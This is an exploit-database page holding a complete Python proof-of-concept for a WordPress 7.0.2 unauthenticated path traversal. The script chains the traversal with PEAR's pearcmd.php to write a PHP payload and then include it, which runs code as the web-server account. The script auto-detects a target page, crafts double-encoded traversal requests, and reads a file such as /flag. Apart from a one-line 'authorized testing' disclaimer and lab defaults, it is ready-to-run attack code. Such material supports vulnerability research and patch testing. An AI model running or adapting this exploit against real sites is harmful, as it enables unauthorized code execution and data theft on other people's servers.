Exploit databaseDownload repository ZIP
GH-1b702c12d81d89f05ee6bfbf84a73aff
xiaxiu555/cve-2026-87902
Sources for CVE-2026-87902
16 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files6
xiaxiu555/cve-2026-87902Revision be26139c0138
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
cve-2026-87902.py
Suggested starting filePython · 11,607 bytes#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Exploit Title: WordPress 7.0.2 - Unauthenticated Page-Template Path Traversal to Local PHP Inclusion (PEAR RCE)
# Google Dork: N/A
# Date: 2026-09-22
# Exploit Author: Robert Ressl (https://ressl.ch)
# Vendor Homepage: https://wordpress.org
# Software Link: https://wordpress.org/download/releases/
# Version: WordPress 7.0.2 (patched in 7.1.2 and 7.0.6; backports to every branch down to 4.7.37)
# Tested on: WordPress 7.0.2 / PHP 8.3.33 (Apache module) / MySQL 8.4 (official wordpress:7.0.2-php8.3-apache image, x86-64 and arm64)
# CVE: CVE-2026-87902
# Advisory: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
# Write-up: https://ressl.ch/blog/cve-2026-87902-wordpress/
# Source: https://github.com/ressl/cve-2026-87902-poc
#
# Requires: Python 3.6+ (standard library only)
# Usage: python3 cve-2026-87902.py --url http://127.0.0.1:8091 [--page-id N] [--depth 7]
#
# Preconditions (the Source repository ships a lab that provides all of them):
# * a published page that uses the default template (auto-detected via REST, or --page-id)
# * a top-level `page-*` directory in the active theme (--theme-dir, default page-templates)
# * a readable PEAR pearcmd.php (--include) and register_argc_argv=On for the web SAPI
# * a writable directory for the PEAR payload (--output, default /tmp)
"""
CVE-2026-87902 - unauthenticated path traversal in WordPress page-template
resolution leading to local PHP file inclusion (and, where the deployment
allows it, to PHP code execution).
Two anonymous POST requests are enough:
Stage 1 The traversal makes the template loader include a readable local
`.php` file outside the theme roots. With PEAR present and
`register_argc_argv=On`, `/usr/local/lib/php/pearcmd.php` acts as a
file-write gadget: `config-create` serializes attacker-controlled
data - including PHP opening tags - into a writable directory.
Stage 2 The same traversal includes the generated file, so the embedded PHP
runs with the privileges of the web-server account.
The WordPress defect is the missing path containment. PEAR is only one
environment-dependent way of turning the inclusion into code execution.
For authorized security testing and research only.
"""
import argparse
import http.client
import json
import ssl
import sys
from urllib.parse import urlsplit
USER_AGENT = "cve-2026-87902-poc/1.0"
# Lab defaults (see lab/ and README.md). WordPress appends `.php` to the
# traversal target, so those paths are always given without the suffix.
DEFAULT_MARKER = "CVE-2026-87902-POC-OK"
DEFAULT_THEME_DIR = "page-templates" # theme directory supplying the fixed `page-` prefix
DEFAULT_INCLUDE = "/usr/local/lib/php/pearcmd" # gadget included in stage 1
DEFAULT_OUTPUT = "/tmp/wp-pear-rce-flag" # PEAR writes `<output>.php` to this path
DEFAULT_READ = "/flag" # file printed by the injected PHP
LAB_DEPTH = 7 # `..` segments from the theme root to `/`
def send_request(base, method, path, body=None, timeout=20.0, insecure=False):
"""Send a request with a byte-exact request target.
The request target must reach the server unmodified: the raw `<`, `>`, `=`
and `+` bytes are load-bearing (PHP splits the raw query string into PEAR's
argv and does not URL-decode the individual arguments), so nothing may be
re-encoded on the way out.
"""
parts = urlsplit(base)
if not parts.hostname:
raise ValueError("invalid target URL: %s" % base)
if parts.scheme == "https":
context = ssl._create_unverified_context() if insecure else ssl.create_default_context()
conn = http.client.HTTPSConnection(
parts.hostname, parts.port or 443, timeout=timeout, context=context
)
else:
conn = http.client.HTTPConnection(parts.hostname, parts.port or 80, timeout=timeout)
headers = {
"User-Agent": USER_AGENT,
"Accept": "*/*",
"Content-Type": "application/x-www-form-urlencoded",
"Connection": "close",
}
try:
conn.request(method, path, body=body, headers=headers)
response = conn.getresponse()
return response.status, response.read().decode("utf-8", "replace")
finally:
conn.close()
def php_literal(value):
"""Quote-free PHP string literal: `/flag` -> chr(47).chr(102).chr(108)..."""
return ".".join("chr(%d)" % ord(char) for char in value)
def double_encode(path):
"""Encode a theme-relative path for the request body.
PHP decodes the form body once. WordPress must still see the escaped octets
(`%2f`, `%2e`) afterwards, so that `wp_basename()` and the query sanitizer
leave the traversal alone; `get_page_template()` decodes them much later.
"""
once = path.replace("/", "%2F").replace(".", "%2E")
return once.replace("%", "%25")
def candidate(theme_dir, depth, target):
"""Theme-relative candidate path for an absolute local target.
WordPress prepends the fixed `page-` prefix when building the template
name, so the path segment derived from a theme directory `page-templates`
is `templates`: `page-` + `templates/../../<target>` + `.php`.
"""
prefix = theme_dir[len("page-"):] if theme_dir.startswith("page-") else theme_dir
return prefix + "/" + "../" * depth + target.lstrip("/")
def find_page(base, timeout, insecure):
"""Find a published page using the default template (anonymous REST call)."""
routes = (
"/index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template",
"/wp-json/wp/v2/pages?per_page=100&_fields=id,slug,template",
)
for route in routes:
try:
status, body = send_request(base, "GET", route, timeout=timeout, insecure=insecure)
except Exception:
continue
if status != 200:
continue
try:
pages = json.loads(body)
except ValueError:
continue
if not isinstance(pages, list) or not pages:
continue
for page in pages: # a custom page template would win the hierarchy before the traversal
if not page.get("template"):
return page.get("id"), page.get("slug", ""), route
return pages[0].get("id"), pages[0].get("slug", ""), route
return None, None, None
def run_stages(base, args, depth):
"""Run both stages for one traversal depth. Returns a result dict."""
include_path = candidate(args.theme_dir, depth, args.include)
output_path = candidate(args.theme_dir, depth, args.output)
payload = "<?=file_get_contents(%s)?>" % php_literal(args.read)
# Stage 1: the raw query string becomes PEAR's argv. `config-create`
# requires an absolute root path, so the payload is injected as that root
# (`/<php>`) and PEAR serializes it into the generated config file.
stage1_target = "/?+config-create+/" + payload + "+" + args.output + ".php"
stage1_body = "page_id=%d&pagename=%s" % (args.page_id, double_encode(include_path))
status1, _ = send_request(base, "POST", stage1_target, body=stage1_body,
timeout=args.timeout, insecure=args.insecure)
# Stage 2: include the file PEAR just wrote.
stage2_body = "page_id=%d&pagename=%s" % (args.page_id, double_encode(output_path))
status2, text2 = send_request(base, "POST", "/", body=stage2_body,
timeout=args.timeout, insecure=args.insecure)
return {
"depth": depth,
"include_candidate": "page-" + include_path + ".php",
"output_candidate": "page-" + output_path + ".php",
"status1": status1,
"status2": status2,
"hits": text2.count(args.marker),
"body": text2,
}
def first_line_with(text, marker, limit=200):
index = text.find(marker)
if index < 0:
return ""
chunk = text[index:index + limit]
return chunk.splitlines()[0] if chunk else ""
def main(argv=None):
parser = argparse.ArgumentParser(
description="CVE-2026-87902 - WordPress page-template traversal to local PHP inclusion (PoC)",
formatter_class=argparse.ArgumentDefaultsHelpFormatter,
)
parser.add_argument("--url", default="http://127.0.0.1:8091", help="WordPress base URL")
parser.add_argument("--page-id", type=int, help="published page ID (auto-detected via REST if omitted)")
parser.add_argument("--theme-dir", default=DEFAULT_THEME_DIR,
help="top-level `page-*` directory of the active theme")
parser.add_argument("--include", default=DEFAULT_INCLUDE,
help="local file to include in stage 1 (no `.php` suffix)")
parser.add_argument("--output", default=DEFAULT_OUTPUT,
help="writable destination for the PEAR payload (no `.php` suffix)")
parser.add_argument("--read", default=DEFAULT_READ, help="file printed by the injected PHP")
parser.add_argument("--marker", default=DEFAULT_MARKER,
help="string expected in the stage-2 response on success")
parser.add_argument("--depth", type=int, default=0,
help="number of `..` segments (0 = lab depth first, then 1..12)")
parser.add_argument("--timeout", type=float, default=20.0, help="per-request timeout in seconds")
parser.add_argument("--insecure", action="store_true", help="do not verify TLS certificates")
args = parser.parse_args(argv)
if not args.theme_dir.startswith("page-"):
parser.error("--theme-dir must be the real theme directory name and start with 'page-'")
base = args.url.rstrip("/")
print("[*] target : %s" % base)
if args.page_id:
print("[*] page id : %d (from --page-id)" % args.page_id)
else:
page_id, slug, route = find_page(base, args.timeout, args.insecure)
if not page_id:
print("[-] no published page found - pass --page-id explicitly", file=sys.stderr)
return 1
args.page_id = page_id
print("[*] page id : %d (%s, default template, via %s)" % (page_id, slug or "?", route))
if args.depth:
depths = [args.depth]
else:
depths = [LAB_DEPTH] + [d for d in range(1, 13) if d != LAB_DEPTH]
for depth in depths:
result = run_stages(base, args, depth)
print("[*] depth %-2d : stage 1 HTTP %s, stage 2 HTTP %s"
% (depth, result["status1"], result["status2"]))
if result["hits"]:
print("[+] traversal : %s" % result["include_candidate"])
print("[+] payload file : %s (written by PEAR in stage 1)" % result["output_candidate"])
print("[+] marker : %r found %d time(s) in the stage-2 response"
% (args.marker, result["hits"]))
print("[+] proof : %s" % first_line_with(result["body"], args.marker))
print("[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges")
return 0
print("[-] exploit failed", file=sys.stderr)
print(" check that lab/up.sh completed (WordPress installed, `page-*` fixture present,",
file=sys.stderr)
print(" /flag readable), that the page ID is published, and that PEAR is reachable with",
file=sys.stderr)
print(" register_argc_argv=On for the web SAPI.", file=sys.stderr)
return 1
if __name__ == "__main__":
sys.exit(main())